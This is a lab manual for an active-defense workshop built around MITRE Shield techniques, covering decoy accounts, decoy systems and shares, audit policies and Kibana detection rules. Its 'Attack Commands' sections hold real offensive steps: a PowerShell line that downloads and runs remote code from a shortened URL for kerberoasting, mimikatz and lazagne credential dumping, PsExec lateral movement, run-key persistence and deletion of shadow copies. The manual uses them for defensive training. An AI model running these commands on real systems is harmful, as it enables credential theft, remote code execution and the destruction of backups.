**Active Defense 101**

Lab Manual & Playbook

[Getting Started](#_7u560qilzey1)

[About the Lab](#_cgokvqby0vmb)

[#1. Application Diversity](#_dbtvsq88i3tw)

[#2 - Security Controls](#_l5sdmjhyx1mi)

[#3 - Baseline](#_t7kgtkqeos2r)

[#4 - Decoy Account - Part 1](#_m6c1aex23cp1)

[#4 - Decoy Account (Part 2)](#_39aqezrkfi8e)

[#5 - Standard Operating Procedures](#_2eznvo8b8shm)

[#6 - Decoy System](#_mjzgwvti695a)

[#6 - Decoy System (Part 2)](#_kmktpk55zx69)

[#7 - Admin access](#_4hq24jz4tirz)

[#8 - Hunting](#_1uarqy5phpi8)

[Bonus - Software Manipulation](#_puvn2b761g27)

[#10 - Decoy Credentials](#_eh4gurvn63s8)

[#11 - Pocket Litter](#_t9mifeitaop)

# **Getting Started**

## About the Lab

You each have been assigned three machines.

1. Server - Most setup happens here
2. Active Directory - For AD use cases

**Some More Instructions**

* All activities will be done on your own individual machine trio. Don't hack others.
* Your log aggregator Kibana is at <http://10.0.20.21:5601>. Check the bookmark
* You can filter for your own logs based on your IP: host.ip: <your IP>

## #1. [Application Diversity](https://shield.mitre.org/techniques/DTE0004/)

[Make sure you are using your server IP address. Should be in the range of 10.0.10.70-100]

MITRE Shield ID - DTE0004

MITRE Shield Use CaseID - DUC0085, DUC0219

**Dementor Tactic**

* Prefers to infect systems in the DMZ
* Targets PhpMyAdmin
* Default Password spraying

**Active Defense Tactic**

* Plant a fake PhpMyAdmin page
* Monitor access and attempts to spray passwords

**Approach**

* Install PhpMyAdmin
* Monitor POST requests to the password page

**Steps**

* Open the Chrome browser
  + Click on shortcut to Phpmyadmin to check you can load the page
* Start Filebeat to forward logs
  + Open Powershell
  + Start-service filebeat

**Attack Commands**

Open the URL for Phpmyadmin in the browser. Guess different passwords.

**Detection Logic**

Write a rule to detect the POST request which contains the password

**Detection Rule**  
Choose filebeat-\* as the index in Kibana

host.ip: <your IP> AND \*password\*

**Where you can go from Here**

* Experiment with different types of applications like Apache Tomcat
* Study post exploitation activity by creating your own instance

## #2 - [Security Controls](https://shield.mitre.org/techniques/DTE0032/)

[Make sure you are using your server IP address. Should be in the range of 10.0.10.70-100]

MITRE Shield ID - DTE0032

MITRE Shield Use Case ID - DUC0048

**Dementor Tactic**

* Uses a C2 framework which runs pure powershell

**Active Defense Tactic**

* Prevent outbound internet connection from powershell

**Approach**

* Configure firewall policy to block powershell from making internet connections.
* Configure audit policy to log dropped packets

**Steps**

* Open Windows Firewall with Advanced Security - Outbound Rules - New Rule - Custom - This Program Path - Path: C:\Windows\System32\WindowsPowerShell\v1.0 - Choose powershell
  + Protocols and Ports - Protocol Type: TCP - Remote Ports: Specific Ports - 80
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Object Access - Audit Filtering Platform Packet Drop - Success/Failure
* Start Winlogbeat
  + Open powershell
  + Start-service winlogbeat
* Open Event Viewer after running the attack command
  + Confirm the presence of log 5152 after running the attack command

**Attack Commands**

Open Powershell

IEX (New-Object Net.WebClient).DownloadString('<http://neverssl.com>');

(This should fail if everything was configured correctly)

**Detection Logic**

Outbound connection to port 80 from powershell.exe

**Detection Rule**  
host.ip: <your server IP> AND "5152" AND \*powershell\*

**Where you can go from here**

* Experiment with blocking software / other HTTP ports / connections
* Experiment with powershell logging
* Experiment with tools like Sysmon to do DNS analysis

## #3 - [Baseline](https://shield.mitre.org/techniques/DTE0006/)

[Make sure you are using your server IP address. Should be in the range of 10.0.10.70-100]

MITRE Shield ID - DTE0006

MITRE Shield Use Case ID - DUC0069

**Dementor Tactic**

* Persists via Registry Run Keys

**Active Defense Tactic**

* Monitor changes to registry run keys

**Approach**

* Configure auditing on HKLM and HKCU run keys
* Configure audit policy to log registry

**Steps**

* Open Regedit
  + Browse to HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run
  + Right Click 'Run' - Permissions - Advanced - Auditing Tab - Add
  + Select Principal - Authenticated Users
  + Show Advanced Permissions - Uncheck everything - Check Create Subkey and Set Value
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Object Access - Audit Registry - Success and Failure
* Open Event Viewer after running the Attack Command
  + Check for presence of event 4657 and your run key

**Attack Commands**

Open cmd

reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v ActDef /t REG\_SZ /d "C:\actdef.exe"

**Detection Logic**

Registry modification events for the Run key

**Detection Rule**host.ip: <your server IP> AND 4657 AND winlog.event\_data.ObjectName : \*Run\*

**Where you can go from here**

* Experiment with other persistence mechanisms like ScheduledTasks, WMI Persistence etc.

## #4 - [Decoy Account](https://shield.mitre.org/techniques/DTE0010/) - Part 1

[Keep your server and Active Directory server open]

MITRE Shield ID - DTE0010

MITRE Shield Use Case ID - DUC0004, DUC0044, DUC0187

**Dementor Tactic**

* Attempts to guess the password of domain admin accounts

**Active Defense Tactic**

* Create a decoy domain admin user

**Approach**

* Create a decoy account in Active Directory
* Elevate the account to domain admin privileges
* Enable logon failure auditing

**Steps**

* Open Active Directory Users and Computers - Users
  + Right click in the panel - New - User
  + Create user 'admin01' - User logon name admin01
  + Uncheck everything - Check Password never expires
* Right click on 'admin01' - Properties - MemberOf - Add - Domain Admins
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Logon / Logoff - Audit Logon - Success & Failure
* Open Powershell
  + Start-service winlogbeat
* Run attack commands
* Open event viewer on AD server after running attack commands
  + Check for event id 4625

**Attack Commands**

On Active Directory Server:

Open Powershell

Get-Adgroupmember "Domain Admins"

On Server:

Open cmd  
Runas /netonly /u:thor\admin01 cmd (Type an incorrect password)

Net use \\<your-domain-controller-ip>

**Detection Logic**

Monitor for logon failure auditing event against your decoy user

**Detection Rule**  
host.ip: <your AD Server IP> AND 4625 AND \*admin01\*

**Where you can go from here**

* Test kerberos logins from computers added to domain
* Place users in different groups and OUs

## 

## #4 - [Decoy Account](https://shield.mitre.org/techniques/DTE0010/) (Part 2)

[Keep your Active Directory server open]

MITRE Shield ID - DTE0010

MITRE Shield Use Case ID - DUC0004, DUC0044, DUC0187

**Dementor Tactic**

* Attempts to guess the password of domain admin accounts

**Active Defense Tactic**

* Create a kerberoastable user

**Approach**

* Modify 'admin01' to make it kerberoastable
* Enable Kerberos Service Ticket Operations auditing
* Test kerberoasting

**Steps**

* Right click on 'admin01' - Properties - Attributes - serviceprinciplename - 'HTTP/TEST'
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Account Logon - Audit Kerberos Service Ticket Operations - Success & Failure
* Run Attack Commands
* Open event viewer on AD server after running attack commands
  + Check for event id 4769 for admin01

**Attack Commands**

On Active Directory Server:

Open Powershell

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

iex (New-Object System.Net.Webclient).DownloadString("<http://bit.ly/1pzQCnv>")

Invoke-kerberoast

**Detection Logic**

Monitor for service ticket operations against your decoy user

**Detection Rule**  
host.ip: <your AD Server IP> AND 4769 AND \*admin01\*

## #5 - [Standard Operating Procedures](https://shield.mitre.org/techniques/DTE0033/)

[Use Active Directory Server]

MITRE Shield ID - DTE0033

MITRE Shield Use Case ID - DUC0061

**Dementor Tactic**

* Creates group policy scheduled task to distribute ransomware

**Active Defense Tactic**

* Monitor the creation of group policy and analyse them for creation of scheduled tasks

**Approach**

* Enable auditing on folder "Policies"
* Enable local security policy for auditing file system access

**Steps**

* Browse to C:\Windows\Sysvol\sysvol\thor.local
  + Right Click Policies - Properties - Security Tab - Advanced
    - Auditing Tab - Add - Select Principal - Authenticated Users"
    - Show Advanced Permissions - Uncheck everything - Check Create Files and Create Folders - Apply
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Object Access - File System
* Run attack commands
* Open Event Viewer after running attack commands
  + Check event id 4663 for keyword scheduledtasks

**Attack Commands**Open Group Policy Management

* Right click "thor" OU - Create a GPO in this domain and link it here - Create policy "test"
* Right click "test" Policy - Edit - Computer Configuration - Preferences - Control Panel Settings - Scheduled tasks
* In the panel - Right Click - Add - Scheduled Task
  + Name 'test'
  + Run 'powershell'

**Detection Logic**

Monitor for creation of ScheduledTasks.xml files for the auditing event

**Detection Rule**  
host.ip: <your AD Server IP> AND 4663 AND \*ScheduledTasks.xml\*

## #6 - [Decoy System](https://shield.mitre.org/techniques/DTE0017/)

[Use Active Directory Server. Your IP will be in the range 10.0.10.150-200]

MITRE Shield ID - DTE0014

MITRE Shield Use Case ID - DUC0231

**Dementor Tactic**

* Enumerates computers that are servers from Active Directory

**Active Defense Tactic**

* Seed Active Directory with decoy system entries
* Point decoy system entries to a decoy network to entice adversary

**Approach**

* Create a decoy system "fileserver" in AD.
* Place it in a decoy OU
* Enable auditing for "authenticated users" on read for serviceprincipalname attribute
* Enable audit policy for directory service access

**Steps**

* Open Active Directory Users & Computers
  + Browse to the Servers OU - Right-Click - New - Computer - "fileserver"
  + Right-Click fileserver - Properties - Attributes Tab - ServicePrincipalName - HOST/fileserver
  + Right-Click fileserver - Properties - Security Tab - Advanced - Auditing Tab - Add
    - Principal "Authenticated Users" - Uncheck all main permissions
    - Search for permission "Read ServicePrincipalName" and check it
* Open Local Security Policy - Advanced Audit Policy Configuration
  + DS Access - Audit Directory Service Access - Success / Failure
* Run attack commands
* In event viewer check for event id 4662
  + {f3a64788-5306-11d1-a9c5-0000f80367c1} indicates that SPN was read
  + Object Name shows that decoy object was accessed.

**Attack Commands**

Open powershell  
Get-AdComputer fileserver -Properties serviceprincipalname (Copy ObjectGUID)

**Detect Rules**

Monitor for events relating to enumeration of your created AD computer. This one is a little tricky because Windows only sends the decoy server guid. So we must use the computer ObjectGUID in our detection rule in kibana.

**Detection Rule**  
host.ip: <your AD Server IP> AND 4662 AND <computer guid> AND f3a64788-5306-11d1-a9c5-0000f80367c1

**Where you can go from here**

* Experiment with auditing on other properties like admincount, UAC, etc.
* Place computers in different OUs

## 

## #6 - [Decoy System](https://shield.mitre.org/techniques/DTE0017/) (Part 2)

[Use Server]

MITRE Shield ID - DTE0014

MITRE Shield Use Case ID - DUC0231

**Ransomware Tactic**

* Enumerates file shares

**Deception Tactic**

* Plant a decoy file share

**Approach**

* Create a folder called "Confidential" and share it on the network

**Steps**

* Browse to C:\
  + Create Folder called "Confidential"
  + Right click on the folder - Properties - Sharing Tab - Share..
  + Type "everyone" and click Add - Click Share
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Object Access - Audit Detailed File Share - Success / Failure
* Run attack commands
* In event viewer check for event id 5145

**Attack Commands**

On your AD Server

Browse to C:\Users\Public\Tools\Windows

Open netscan.exe

Configure IP range for 10.0.10.70 - 10.0.10.100  
Open "Confidential" File Share

**Detect Logic**

Monitor for the word "confidential" in Event ID 5145

**Detection Rule**  
host.ip: <your Server IP> AND 5145 AND Confidential

**Where you can go from here**

* Experiment with creating multiple different file shares with different interesting content and monitor for access

## #7 - [Admin access](https://shield.mitre.org/techniques/DTE0001/)

MITRE Shield ID - DTE001

MITRE Shield Use Case ID - DUC0055

**Dementor Tactic**

* Reuse local administrator account for PsExec

**Active Defense Tactic**

* Remove ability to use admin$ for lateral movement
* Reconfigure system to prevent access to admin$ shares

**Approach**

* Disable admin$ share.
* Monitor for re-enabling of admin$ share

**Steps**

* On AD Server
  + Run attack command
* On Server
  + Open Computer Management - Shared Folders - Shares
  + Right-click admin$ - Stop Sharing
* Redo the attack command. It should not work.
* Open Local Security Policy - Advanced Audit Policy Configuration
  + Object Access - File Share - Success / Failure
* Re-enable admin$ share
  + Open command prompt
    - Reg add HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareServer /t REG\_DWORD /d 1
  + Open powershell
    - Restart-service server

**Attack Commands**Open cmd

C:\Users\Public\tools\Windows\PsExec.exe \\<server-ip> -accepteula cmd

Exit

**Detection Logic**

Detect if the admin$ share is reenabled.

**Detection Rule**

host.ip: <your Server IP> AND 5142 AND admin$

**Where you can go from here**

* Experiment with blocking port 445 altogether using the firewall
* Reduce attack surface by controlling permissions to folders

## 

## #8 - [Hunting](https://shield.mitre.org/techniques/DTE0021/)

MITRE Shield ID - DTE0021

MITRE Shield Use Case ID - DUC0252

**Dementor Tactic**

* Kills volume shadow copies

**Active Defense Tactic**

* Proactive hunt for instances of shadow copies being deleted

**Approach**

* Detect vssadmin method of deleting shadow copies

**Steps**

* Open powershell
  + *Start-service sysmon*
* Run Attack Commands

**Attack Commands**

Vssadmin delete shadows /all

**Detect Logic**

Process start for \*vssadmin\* and commandline for "delete shadows"  
  
**Detect Rule**

host.ip: <your Server IP> AND \*vssadmin\* AND "delete shadows"

**Where you can go from here**

* Experiment with other ways to delete shadow copies
* Experiment with baselining key systems with Sysmon using the config file from here:
  + https://github.com/SwiftOnSecurity/sysmon-config

## 

## Bonus - [Software Manipulation](https://shield.mitre.org/techniques/DTE0036/)

**MITRE Shield ID -** DTE0036

**MITRE Shield Use Case ID -** DUC0189

**Dementor Tactic**

* Uses open port 53001 as a mutex to decide whether to run the ransomware

**Active Defense Tactic**

* Open port 53001 as a mutex to prevent the ransomware from running

**Approach**

* Use netcat to open port 53001.

**Steps**

* Open command prompt
* C:\Users\Public\Tools\netcat\ncat.exe -l 53001

**Other Vaccination Tools**

* <https://github.com/Neo23x0/Raccine/releases/tag/1.4.1>
* <https://github.com/rapid7/vaccination>

## #10 - [Decoy Credentials](https://shield.mitre.org/techniques/DTE0012/)

MITRE Shield ID - DTE0012

MITRE Shield Use Case ID - DUC0005 , DUC0084

**Dementor Tactic**

* Extracts credentials from credman and memory

**Active Defense Tactic**

* Plant decoy credentials in both these locations

**Approach**

* Manually add credentials to credman
* Use netonly credentials to plan credentials in memory

**Steps**

* Open Credential Manager
  + Add a Windows Credential
* Open command prompt
  + - Runas /netonly /u:thor\admin01 cmd
    - Type a random password

**Attack Commands**

* C:\Users\Public\Tools\mimikatz\_trunk\x64\mimikatz.exe
  + Privilege::debug
  + Sekurlsa::logonpasswords
* C:\Users\Public\Tools\Windows\lazagne all
* Runas /netonly /u:<credentials> cmd
  + Net use \\<domain-controller-ip>

**Detect Logic**

You can detect on use of credentials on the network. These have already been setup in #4!

**Where you can go from here**

* Add different types of credentials in the browser, registry, software like putty etc.
* Look at all the modules in lazagne and see if you can poison the output!

## 

## #11 - [Pocket Litter](https://shield.mitre.org/techniques/DTE0030/)

[This is a practice exercise. Follow the same process as #5 but apply it to the file instead of the folder.]

MITRE Shield ID - DTE0030

MITRE Shield Use Case ID - DUC0098,DUC0099,DUC00104

**Dementor Tactic**

* Encrypts files with interesting extensions (.txt, .docx, etc)

**Active Defense Tactic**

* Plant decoy content in the form of files and folders
* Plant them in a location commonly infected by Ransmoware (C:\)

**Approach**

* Create a text file in the root of C:\ (a.txt)
* Enable auditing on this files
* Use event viewer to understand which log needs to be analysed
* Write a rule in Kibana to detect the activity

## 